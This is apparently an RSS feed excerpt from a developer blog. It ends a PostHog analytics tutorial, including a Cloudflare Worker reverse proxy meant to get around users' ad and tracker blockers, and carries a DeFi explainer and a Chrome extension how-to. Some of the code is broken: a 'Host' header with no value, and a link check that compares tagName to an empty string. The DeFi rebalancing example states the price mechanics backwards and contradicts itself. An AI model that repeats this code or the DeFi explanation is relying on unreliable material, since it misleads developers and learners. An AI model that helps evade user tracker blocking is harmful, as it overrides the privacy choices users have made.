<h3 id="heading-42-manual-error-capture">4.2) Manual error capture</h3>
<p>It is also possible to manually capture exceptions using the <code>captureException</code> method:</p>
<pre><code class="lang-javascript">posthog.captureException(error, additionalProperties)
</code></pre>
<h3 id="heading-43-uploading-source-maps">4.3) Uploading source maps</h3>
<p>Source maps are like a translator for your website’s code. They connect the <strong>compressed, fast-loading code your users see back to the original</strong>, <strong>readable code you wrote</strong>, making debugging errors in production much easier.</p>
<p>Because the source maps are likely not publicly hosted in a <strong>typical Next.js deployment</strong>, PostHog won’t be able to automatically find and use them to deminify your stack traces. This is where the posthog-cli sourcemap upload command comes in.</p>
<pre><code class="lang-bash">npm run build &amp;&amp; \
posthog-cli sourcemap inject --directory ./.next &amp;&amp; \
posthog-cli sourcemap upload --directory ./.next &amp;&amp; \
npm run start
</code></pre>
<blockquote>
<p>Danger : don’t use this in production, it exposes your sourcemap</p>
<p>Probably what you need to do is create your own CI/CD pipeline for this</p>
<p><strong>do not upload source map files to the production server</strong></p>
</blockquote>
<p>Please refer to <a target="_blank" href="https://posthog.com/docs/error-tracking/installation">PostHog’s error tracking installation guide</a> for instructions on uploading source maps.</p>
<p>Uploading source maps for frontend projects like React or Next.js enables detailed stack traces, making it easier to pinpoint the exact component or page where an error originated.</p>
<p>Note : Under Error tracking you will see list of all exception, click on anyone of the exception to view detailed information about the exception.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*6APqwQ9gZqRXWXAZbWy5Ng.png" alt="Fig: List of all the errors in the app" /></p>
<p>Fig: List of all the errors in the app</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*YvvhDirC67sZvxibRg2_iQ.png" alt /></p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*dYkwnrIj879kYtXhpbTl6Q.png" alt="Fig: Error tracking feature from posthog in production" /></p>
<p>Fig: Error tracking feature from posthog in production</p>
<p>Prior to PostHog’s error tracking release, understanding the user context behind errors was a cumbersome, multi-step process. Now, with this new feature, we gain instant clarity by viewing errors alongside the user’s session replay.</p>
<h2 id="heading-5-automated-error-alerts-with-posthog">5) Automated Error Alerts with PostHog</h2>
<p>On top of that, you can add notifications using webhooks or email to stay in the loop when things go wrong.</p>
<p>Under <strong>Product Analytics → Alerts → New Insight</strong>, you can create alerts to monitor key events and stay ahead of issues.</p>
<p><img src="https://cdn-images-1.medium.com/max/2000/1*nZE0GTjKPgmIUIuh7qCIKw.png" alt /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*9bXHxllz41sy6t156PUrfw.png" alt /></p>
<p>This example tracks $exception events. If errors go <strong>above 100 per hour</strong>, PostHog will:</p>
<ul>
<li><p>✅ Trigger an <strong>enabled</strong> alert</p>
</li>
<li><p>📩 Notify anyone(via <strong>webhooks</strong>, <strong>email</strong>, etc.)</p>
</li>
<li><p>📅 <strong>Skip weekends</strong></p>
</li>
<li><p>🟢 Show <strong>live status</strong> (last alert fired 4 hours ago with 12 exceptions)</p>
</li>
</ul>
<p>This setup is great for catching frontend error spikes  with  <strong>no self-hosting required</strong>. Stay proactive and ensure smooth user experience</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*9lkPIGstVcVywHysr-_ehA.png" alt /></p>
<h2 id="heading-6-setting-reverse-proxy-with-cloudflare">6) Setting Reverse Proxy with cloudflare:</h2>
<p>If a user is behind an ad blocker or using privacy-focused browsers like Brave, default event tracking with PostHog can be blocked.</p>
<p><strong>Ad blockers</strong> have the <strong>potential to disable the feature flags</strong>, which can lead to bad experiences, such as <strong>users seeing the wrong version of app</strong>, or <strong>missing a new feature rollout</strong>.</p>
<p>A simple workaround is to use a reverse proxy.</p>
<p>There are multiple ways to set this up, but using a Cloudflare Worker is one of the easiest and most effective methods.</p>
<p>A reverse proxy allows us to send events to PostHog Cloud via our own subdomain (e.g., <a target="_blank" href="http://test.yourdomain.com">test.yourdomain.com</a>) instead of the default endpoints like <a target="_blank" href="http://us.i.posthog.com">us.i.posthog.com</a> or <a target="_blank" href="http://eu.i.posthog.com">eu.i.posthog.com</a>.</p>
<p>It helps bypass ad and tracker blockers, allowing you to capture more complete usage data , all without having to self-host PostHog.</p>
<p>we can set up a reverse proxy using <strong>Cloudflare Workers</strong> (<strong>works on all plans</strong> <strong>with more setup flexibility</strong>) or <strong>DNS + Page Rules</strong> (simpler, but only available on the Enterprise plan).</p>
<blockquote>
<p>Workers are really powerful and allow up to 100,000 requests per day on the free plan</p>
</blockquote>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> API_HOST = <span class="hljs-string">"us.i.posthog.com"</span>
<span class="hljs-keyword">const</span> ASSET_HOST = <span class="hljs-string">"us-assets.i.posthog.com"</span>

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleRequest</span>(<span class="hljs-params">request, ctx</span>) </span>{
  <span class="hljs-keyword">const</span> url = <span class="hljs-keyword">new</span> URL(request.url)
  <span class="hljs-keyword">const</span> pathname = url.pathname
  <span class="hljs-keyword">const</span> search = url.search
  <span class="hljs-keyword">const</span> pathWithParams = pathname + search

  <span class="hljs-keyword">if</span> (pathname.startsWith(<span class="hljs-string">"/static/"</span>)) {
    <span class="hljs-keyword">return</span> retrieveStatic(request, pathWithParams, ctx)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">return</span> forwardRequest(request, pathWithParams)
  }
}

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">retrieveStatic</span>(<span class="hljs-params">request, pathname, ctx</span>) </span>{
  <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">await</span> caches.default.match(request)
  <span class="hljs-keyword">if</span> (!response) {
    response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">`https://<span class="hljs-subst">${ASSET_HOST}</span><span class="hljs-subst">${pathname}</span>`</span>)
    ctx.waitUntil(caches.default.put(request, response.clone()))
  }
  <span class="hljs-keyword">return</span> response
}

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">forwardRequest</span>(<span class="hljs-params">request, pathWithSearch</span>) </span>{
  <span class="hljs-keyword">const</span> originRequest = <span class="hljs-keyword">new</span> Request(<span class="hljs-string">`https://<span class="hljs-subst">${API_HOST}</span><span class="hljs-subst">${pathWithSearch}</span>`</span>, {
    <span class="hljs-attr">method</span>: request.method,
    <span class="hljs-attr">headers</span>: <span class="hljs-keyword">new</span> Headers({
      ...Object.fromEntries(request.headers),
      <span class="hljs-string">'Host'</span>:
    }),
    <span class="hljs-attr">body</span>: request.body,
    <span class="hljs-attr">redirect</span>: <span class="hljs-string">'manual'</span>,
  })

  originRequest.headers.delete(<span class="hljs-string">"cookie"</span>)

  <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> fetch(originRequest)
}

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-keyword">async</span> fetch(request, env, ctx) {
    <span class="hljs-keyword">return</span> handleRequest(request, ctx)
  }
}
</code></pre>
<p>All you need is this template code under</p>
<p><strong>Cloudflare Dashboard → Workers &amp; Pages → Create a new Worker</strong>.</p>
<p>Follow this straightforward guide:</p>
<p><a target="_blank" href="https://posthog.com/docs/advanced/proxy/cloudflare">https://posthog.com/docs/advanced/proxy/cloudflare</a></p>
<p>In the project repo where posthog is initilised:</p>
<pre><code class="lang-javascript">posthog.init(<span class="hljs-string">'your_project_api_key'</span>, {
<span class="hljs-comment">// your proxy subdomain</span>
  <span class="hljs-attr">api_host</span>: <span class="hljs-string">'https://your_proxy_domain.com'</span>,
<span class="hljs-comment">// required for features like toolbar, use us or eu depending on your region</span>
  <span class="hljs-attr">ui_host</span>: <span class="hljs-string">'https://us.posthog.com'</span>,
})
</code></pre>
<h3 id="heading-61-best-practices-for-reverse-proxy">6.1) Best Practices For Reverse Proxy</h3>
<p>Ensure your proxy sets the correct Host header and avoid using subdomains with words like “posthog” or “analytics” to prevent blocking. Also, set the <strong>ui_host</strong> during PostHog initialization to ensure features like the toolbar work correctly.</p>
<h2 id="heading-7-feature-flags-implementing-control-and-confidence-in-code">7) Feature Flags: Implementing Control and Confidence in Code</h2>
<p>Feature flags provide developers with a powerful mechanism to decouple code deployment from feature release, enabling safer and more flexible rollouts.</p>
<p>PostHog’s feature flag functionality allows developers to implement the control directly within their codebase using simple conditional logic based on the flag’s status.</p>
<p>Checking the status of a boolean feature flag (either enabled or disabled) can be done using the <code>posthog.isFeatureEnabled()</code> method in JavaScript:</p>
<pre><code class="lang-jsx"><span class="hljs-keyword">if</span> (posthog.isFeatureEnabled(<span class="hljs-string">'new_dashboard'</span>)) {
    <span class="hljs-comment">// Display the new dashboard</span>
} <span class="hljs-keyword">else</span> {
    <span class="hljs-comment">// Display the old dashboard</span>
}
</code></pre>
<ul>
<li><p><strong>Progressive Rollouts</strong>: Slowly increase % of users who see a new feature using PostHog’s rollout slider.</p>
</li>
<li><p><strong>Targeted Releases</strong>: Deliver features only to specific users, teams, or cohorts ensuring the sensitive or experimental features are only visible to intended audiences..</p>
</li>
<li><p><strong>Kill Switch</strong>: Set flag to ‘off’ to instantly disable feature.</p>
</li>
</ul>
<p>Then pair it with a PostHog survey to gather user feedback on the new dashboard experience.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*OQ4F3LE-Uq1quIKFln5qOQ.png" alt="Fig: Implementing Feature Flags" /></p>
<p>Fig: Implementing Feature Flags</p>
<p>You can explore these capabilities firsthand in my <a target="_blank" href="https://github.com/arjunadhikary/posthog-demo">https://github.com/arjun-rumsan/posthog-demo</a> GitHub repo where I’ve built a demo app using <strong>Next.js</strong> to showcase the basics.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In conclusion, PostHog makes event tracking a breeze with automatic capture, so developers don’t have to drown in a sea of tracking code. Focus on building, not on debugging event floods.</p>
<p>This, combined with its powerful features like <strong>error monitoring, feature flagging, session replay, and product analytics</strong>, makes PostHog an invaluable tool for efficient and streamlined development workflows.</p>
]]></content:encoded></item><item><title><![CDATA[Innovations in Decentralized Finance (DeFi): Defining Lending and Liquidity Pools:]]></title><description><![CDATA[The landscape of the financial world is undergoing a paradigm shift with the advent of decentralized finance (DeFi). At the heart of this revolution lie two innovative concepts: Lending Pools and Liquidity Pools.
$16,000,000,000 (around sixteen billi...]]></description><link>https://blogs.thearjun.com/innovations-in-decentralized-finance-defi-defining-lending-and-liquidity-pools</link><guid isPermaLink="true">https://blogs.thearjun.com/innovations-in-decentralized-finance-defi-defining-lending-and-liquidity-pools</guid><category><![CDATA[lending pool]]></category><category><![CDATA[Liquidity pools]]></category><category><![CDATA[Blockchain]]></category><category><![CDATA[defi]]></category><category><![CDATA[finance]]></category><category><![CDATA[Bitcoin]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Sun, 14 Apr 2024 10:37:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713090638466/56ee4c14-c1a2-4c4c-9f55-0fec3bc0c6e5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The landscape of the financial world is undergoing a paradigm shift with the advent of decentralized finance (DeFi). At the heart of this revolution lie two innovative concepts: Lending Pools and Liquidity Pools.</p>
<p>$<a target="_blank" href="https://aave.com/">16,000,000,000</a> (around sixteen billion dollars) of liquidity is locked in Aave across 8 networks and over 15 markets.</p>
<h2 id="heading-lending-pools-a-new-paradigm-in-lending">Lending Pools: A New Paradigm in Lending</h2>
<p>Lending pools are dynamic funds provided by diverse communities or entities. These pools are creating a novel approach to the traditional lending and borrowing system, which was dominated by banks or financial institutions.</p>
<p>In conventional finance systems, banks served as the pivotal intermediary between lenders and borrowers. They scrutinized credit history and determined loan eligibility. However, with DeFi lending, powered by lending pools and underpinned by blockchain technology and smart contracts, this process is significantly simplified and democratized.</p>
<p>Lending pools allow borrowers to access loans swiftly, often bypassing exhaustive credit checks. Simultaneously, lenders can earn interest on their invested assets. This approach reduces the dependence on centralized institutions, fosters financial inclusion, and encourages global collaboration.</p>
<p>What we are witnessing is a digitized, transparent, and secure version of community-based lending systems. However, the scope is now global, operating round the clock, and seamlessly connecting lenders and borrowers worldwide.</p>
<h3 id="heading-use-cases-of-lending-pool">Use cases of lending pool</h3>
<ol>
<li><p><strong>Interest Earning</strong>: One of the primary use cases of lending pools is for users to earn interest on their deposited assets. By providing liquidity to lending pools, users can passively earn yield on their holdings without the need for active trading or investment management.</p>
</li>
<li><p><strong>Borrowing</strong>: Lending pools enable borrowers to access capital by providing collateral and borrowing assets from the pool. This use case is particularly beneficial for individuals and institutions seeking liquidity for trading, leveraging positions, or funding other investments, while paying interest on the borrowed amount.</p>
</li>
<li><p><strong>Liquidity Provision</strong>: Lending pools play a crucial role in providing liquidity to decentralized finance (DeFi) protocols and applications. By contributing assets to lending pools, users enhance the overall liquidity of the ecosystem, facilitating smooth operation of DeFi platforms and enabling efficient trading and borrowing opportunities for all participants.</p>
</li>
</ol>
<h2 id="heading-liquidity-pools-the-future-of-market-making">Liquidity Pools: The Future of Market Making</h2>
<p>Liquidity pools represent a radical departure from the traditional order book model employed by most financial exchanges. In the realm of DeFi, 'Liquidity' refers to the ease with which tokens can be converted into real-world assets or actual currency. A 'Liquidity Pool', on the other hand, is a smart contract that manages pools where two or more tokens can be exchanged.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713090475382/2461123c-c2ff-441c-ba98-ac5ff87de0f7.jpeg" alt class="image--center mx-auto" /></p>
<p>Suppose there's a liquidity pool on Uniswap containing two tokens, ETH (Ether) and DAI (a stablecoin pegged to the US dollar), initially in a 50:50 ratio.</p>
<ol>
<li><p><strong>Initial State</strong>:</p>
<ul>
<li><p>The liquidity pool contains $10,000 worth of ETH and $10,000 worth of DAI.</p>
</li>
<li><p>This means there are 10 ETH and 10,000 DAI in the pool, assuming the price of 1 ETH = $1,000 and 1 DAI = $1.</p>
</li>
</ul>
</li>
<li><p><strong>Trade Occurs</strong>:</p>
<ul>
<li><p>An individual decides to buy 5 ETH using 5,000 DAI from the pool.</p>
</li>
<li><p>After the trade, the pool's ratio changes to 5 ETH and 15,000 DAI, leading to an imbalance.</p>
</li>
</ul>
</li>
<li><p><strong>Rebalancing</strong>:</p>
<ul>
<li><p>The smart contract governing the liquidity pool detects the imbalance and adjusts the price of ETH and DAI to restore balance.</p>
</li>
<li><p>Since DAI is now overrepresented in the pool, its price increases relative to ETH, incentivizing traders to sell DAI and buy ETH until balance is restored.</p>
</li>
<li><p>As a result, the price of ETH in terms of DAI decreases, making it less favorable to buy DAI and more attractive to sell it and buy ETH.</p>
</li>
</ul>
</li>
<li><p><strong>Balanced State</strong>:</p>
<ul>
<li><p>Eventually, traders buy DAI and sell ETH until the pool returns to a 50:50 ratio.</p>
</li>
<li><p>Suppose after some trades, the pool returns to holding 10 ETH and 10,000 DAI, restoring balance.</p>
</li>
<li><p>The price of ETH in terms of DAI stabilizes, and the pool continues to facilitate trading with balanced liquidity.</p>
</li>
</ul>
</li>
</ol>
<p>This system is governed by mathematical equations, and the tokens involved could be digital assets like Ethereum and DAI (a stable coin). This unique, self-regulating system maintaining market balance is an Automatic Market Maker (AMM).</p>
<p>The most obvious benefit to this ecosystem is that these pools ensure an almost continuous supply of liquidity for traders wishing to use decentralized exchanges.</p>
<h2 id="heading-defi-platforms-uniswap-and-aave">DeFi Platforms: Uniswap and Aave</h2>
<p>Uniswap and Aave are forerunners among platforms leveraging these DeFi developments. These platforms utilize the power of lending pools and liquidity pools to provide innovative financial services, eliminating intermediaries, and offering users unprecedented control over their financial transactions.</p>
<p>Moreover, these platforms offer a host of additional features. For instance, Aave provides flash loans, which are loans that allow users to borrow assets without collateral, provided the loan is returned within one transaction block. Uniswap, on the other hand, allows users to earn fees by becoming liquidity providers.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Lending pools and liquidity pools are spearheading the DeFi revolution, reshaping the world's understanding of finance. They represent a significant shift towards a more inclusive, transparent, and efficient global financial system. As we move forward, these innovations will continue to challenge traditional paradigms, unlocking new possibilities in the world of finance.</p>
]]></content:encoded></item><item><title><![CDATA[How to Make a Chrome Extension]]></title><description><![CDATA[A great approach to expand the functionality of Chromium-based browsers and improve the browsing experience for users is by creating a Chrome extension.
Small software applications known as extensions can be installed in a browser and used in conjunc...]]></description><link>https://blogs.thearjun.com/how-to-make-a-chrome-extension</link><guid isPermaLink="true">https://blogs.thearjun.com/how-to-make-a-chrome-extension</guid><category><![CDATA[chrome extension]]></category><category><![CDATA[js]]></category><category><![CDATA[HTML5]]></category><category><![CDATA[CSS]]></category><category><![CDATA[manifest]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Sun, 23 Jul 2023 11:13:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1690111055683/f43c909b-95c9-4a4d-b144-2297af07018c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A great approach to expand the functionality of Chromium-based browsers and improve the browsing experience for users is by creating a Chrome extension.</p>
<p>Small software applications known as extensions can be installed in a browser and used in conjunction with online pages.</p>
<p>There are limitless things that you can do with extensions. In this article, we will walk through the process of creating a simple Chrome extension from scratch, covering the basics of extension</p>
<p>Creating a Chrome extension is not as difficult as it may seem, and with just a basic understanding of HTML, CSS, and JavaScript, anyone can create an extension that enhances the browsing experience for users.</p>
<h3 id="heading-folder-structure"><em>Folder Structure</em></h3>
<p>A Chrome extension is made up of various components. This section explains the structure of an extension, the function of each component, and how everything fits together.</p>
<p>Here's an example of a Chrome Extension file structure</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674574104431/e214108d-e146-42d7-991f-a97df2774a62.jpeg" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-manifest">The manifest</h3>
<p>Manifest <code>(manifest.json)</code> is the configuration file of a Chrome extension. It is an important file to look after as it provides the browser with a blueprint of the extension and other important information like:</p>
<ul>
<li><p>name, description, current version, and icons for extensions</p>
</li>
<li><p>the Chrome API keys, and permissions that the extension needs.</p>
</li>
<li><p>the scripts used in the content, the HTML file used in the pop-up window, the extension service worker files, etc.</p>
<h3 id="heading-example-manifest-file"><em>Example Manifest File</em></h3>
<pre><code class="lang-typescript">  {
    manifest_version: <span class="hljs-number">3</span>,
    name: <span class="hljs-string">"Name of extension "</span>,
    description: <span class="hljs-string">"a detailed description"</span>,
    version: <span class="hljs-string">"1.0"</span>,
    icons: { 
      <span class="hljs-number">16</span>: <span class="hljs-string">"images/icon-16.png"</span>,
      <span class="hljs-number">32</span>: <span class="hljs-string">"images/icon-32.png"</span>,
      <span class="hljs-number">48</span>: <span class="hljs-string">"images/icon-48.png"</span>,
      <span class="hljs-number">128</span>: <span class="hljs-string">"images/icon-128.png"</span>,
    },
    background: {
      service_worker: <span class="hljs-string">"service-worker.js"</span>,
    },
    permissions: [<span class="hljs-string">"scripting"</span>, <span class="hljs-string">"activeTab"</span>],
  }
</code></pre>
</li>
</ul>
<h3 id="heading-service-worker">Service Worker</h3>
<p>A service worker (previously called a background script) is an event-based script that runs separately from a web page in the background. An extension's service worker is loaded when it is necessary and released when it is no longer required. A heavy computing task that blocks the main thread, a network request, and listening for various kinds of events (executing some code on installation and uninstallation) is performed by the service worker.</p>
<h3 id="heading-content-script">Content Script</h3>
<p>Extensions use content scripts to inject code into host pages (websites with which a content script interacts). This script contains all the logic that is needed to manipulate the dom like injecting the node, deleting a node, editing the dom, changing the style of an element, etc</p>
<blockquote>
<p>Node is the basic building block of a dom the whole document. Each element, text and attributes everything is a node</p>
</blockquote>
<h3 id="heading-example-content-script">Example content script</h3>
<pre><code class="lang-typescript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">event</span>) </span>{
  <span class="hljs-keyword">if</span> (event.target.tagName === <span class="hljs-string">""</span>) {
    chrome.runtime.sendMessage({url: event.target.href});
  }
});
</code></pre>
<p>This code listens for clicks on the page and checks if the target of the click is an anchor tag. If it is, it sends a message to the service worker with the URL of the link that was clicked. make sure to provide <code>activeTab</code>permission on manifest file</p>
<h3 id="heading-example-service-worker"><em>Example service worker</em></h3>
<pre><code class="lang-typescript"><span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Hi from background script file"</span>)
chrome.runtime.onMessage.addListener( <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">request, sender, sendResponse</span>) </span>{
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Got your message from content.js : "</span>, request);
    sendResponse(<span class="hljs-string">'Got it'</span>);
})
</code></pre>
<h3 id="heading-communication-between-service-worker-and-content-script">Communication between Service worker and content script</h3>
<p>Chrome exposes <code>chrome.runtime.sendMessage()</code>api to the content script and <code>chrome.runtime.onMessage.addListener()</code> api to the background service worker for these scripts to communicate with each other.</p>
<h3 id="heading-the-popup">The Popup</h3>
<p>Many extensions make use of a popup (popup.html) to provide functionality, such as showing more details about the active tab, or any content the developers want to show. By selecting the extension toolbar icon, users may quickly locate it. It will shut down immediately when the user navigates away.</p>
<p>Additionally, the extensions also have an options page (options.html). It allows users to have the option of personalizing an extension by selecting which websites will function.</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Extension Name<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span>&gt;</span>Click me<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"popup/popup.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h2 id="heading-only-love-extension">Only Love Extension</h2>
<p>We will be creating a Chrome extension that replaces all instances of the word "hate" with "love" on a webpage when the extension icon is clicked,</p>
<p>Starting with manifest.json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"manifest_version"</span>: <span class="hljs-number">3</span>,
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Only Love Extension"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Replaces all instances of the word 'hate' with 'love' "</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0"</span>,
  <span class="hljs-attr">"action"</span>: {
    <span class="hljs-attr">"default_popup"</span>: <span class="hljs-string">"popup/popup.html"</span>
  },
  <span class="hljs-attr">"permissions"</span>: [<span class="hljs-string">"activeTab"</span>, <span class="hljs-string">"declarativeContent"</span>, <span class="hljs-string">"scripting"</span>],
  <span class="hljs-attr">"background"</span>: {
    <span class="hljs-attr">"service_worker"</span>: <span class="hljs-string">"service-worker.js"</span>
  }
}
</code></pre>
<p>Create a new file called "popup.html" and "popup.js" in the extension directory and add the following code</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Love Replacer Extension<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"replace-button"</span>&gt;</span>Replace<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"popup.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">'DOMContentLoaded'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">var</span> replaceButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'replace-button'</span>);
  replaceButton.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">//send message to service-worker.js</span>
    chrome.runtime.sendMessage({ <span class="hljs-attr">replace</span>: <span class="hljs-literal">true</span> });
  });
});
</code></pre>
<p>create a new file called service-worker.js and add the following code</p>
<pre><code class="lang-javascript"><span class="hljs-comment">//service-worker.js</span>
<span class="hljs-comment">//listens for the event and fires a event to execute content.js</span>
chrome.runtime.onMessage.addListener(<span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">request, sender, sendResponse</span>) </span>{
  <span class="hljs-keyword">if</span> (request.replace) {
    chrome.tabs.query({ <span class="hljs-attr">active</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">currentWindow</span>: <span class="hljs-literal">true</span> }, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">tabs</span>) </span>{
      chrome.scripting
        .executeScript({
          <span class="hljs-attr">target</span>: { <span class="hljs-attr">tabId</span>: tabs[<span class="hljs-number">0</span>].id },
          <span class="hljs-attr">files</span>: [<span class="hljs-string">'scripts/content.js'</span>],
        })
        .then(<span class="hljs-function">() =&gt;</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Executed script'</span>);
        });
    });
  }
});
</code></pre>
<ul>
<li><p>now create a new file named content.js and add the following code</p>
<pre><code class="lang-javascript">  <span class="hljs-comment">// content.js</span>
  <span class="hljs-keyword">const</span> elements = <span class="hljs-built_in">document</span>.querySelectorAll(<span class="hljs-string">'*'</span>);
  elements.forEach(<span class="hljs-function">(<span class="hljs-params">element</span>) =&gt;</span> {
    element.childNodes.forEach(<span class="hljs-function">(<span class="hljs-params">node</span>) =&gt;</span> {
      <span class="hljs-keyword">if</span> (node.nodeType === Node.TEXT_NODE) {
        <span class="hljs-keyword">const</span> text = node.textContent;
        <span class="hljs-keyword">const</span> replacedText = text.replace(<span class="hljs-regexp">/hate/gi</span>, <span class="hljs-string">'love'</span>);
        <span class="hljs-comment">// Check if the text was changed</span>
        <span class="hljs-keyword">if</span> (replacedText !== text) {
          <span class="hljs-comment">// Replace the original text node with a new one containing the replaced text</span>
          node.textContent = replacedText;
        }
      }
    });
  });
</code></pre>
<h3 id="heading-walk-through-the-code">Walk through the code</h3>
</li>
<li><p>create a <code>popup.html</code> with a script(<code>popup.js</code>) and button which <code>onClick</code> sends the message to <code>service-worker.js</code>. The message is an object with a replace property <code>{ replace: true }</code></p>
</li>
<li><p>The service worker listens for the event in the current tab as mentioned in</p>
<pre><code class="lang-javascript">  chrome.tabs.query({ <span class="hljs-attr">active</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">currentWindow</span>: <span class="hljs-literal">true</span> })
</code></pre>
<p>  and fires a new event to execute content.js using <code>chrome.scripting</code> API.</p>
</li>
<li><p><code>chrome.scripting</code> API is used to inject JavaScript and CSS into websites so that extensions can make decisions at runtime. make sure to have <code>scripting</code> permission enabled in the manifest.</p>
</li>
<li><p>Here the decision is executing the content.js</p>
</li>
</ul>
<pre><code class="lang-javascript">chrome.scripting
    .executeScript({
      <span class="hljs-attr">target</span>: { <span class="hljs-attr">tabId</span>: tabs[<span class="hljs-number">0</span>].id },
      <span class="hljs-attr">files</span>: [<span class="hljs-string">'scripts/content.js'</span>],
    })
    .then(<span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Executed script'</span>);
    });
</code></pre>
<ul>
<li><p>In content.js, we get all elements on the page and iterate through all elements. again we iterate through all child nodes of the current element</p>
</li>
<li><p>inside each child node, we make sure that the current node is a text node</p>
</li>
<li><p>if it is a text node we get the text of the node and replace 'hate' with 'love' <code>text.replace(/hate/gi, 'love')</code></p>
</li>
<li><p>now we check if the text was changed or not. if changed then we replace the original text node with a new one containing the replaced text</p>
</li>
</ul>
<h3 id="heading-conclusion">Conclusion</h3>
<p>so we can see that with basic knowledge of HTML, CSS and Javascript we can easily make a Chrome extension. creating a Chrome extension is fun and can increase your productivity by adding new functionality to your browser.</p>
<p>If you've developed your extension, please share your insights and experiences and let me know if you have any questions or need any additional help at <code>arjunadhikari0509@gmail.com</code>.</p>
]]></content:encoded></item><item><title><![CDATA[Web Scraping with JS]]></title><description><![CDATA[Stock prices, product details, company information, sports stats you name it
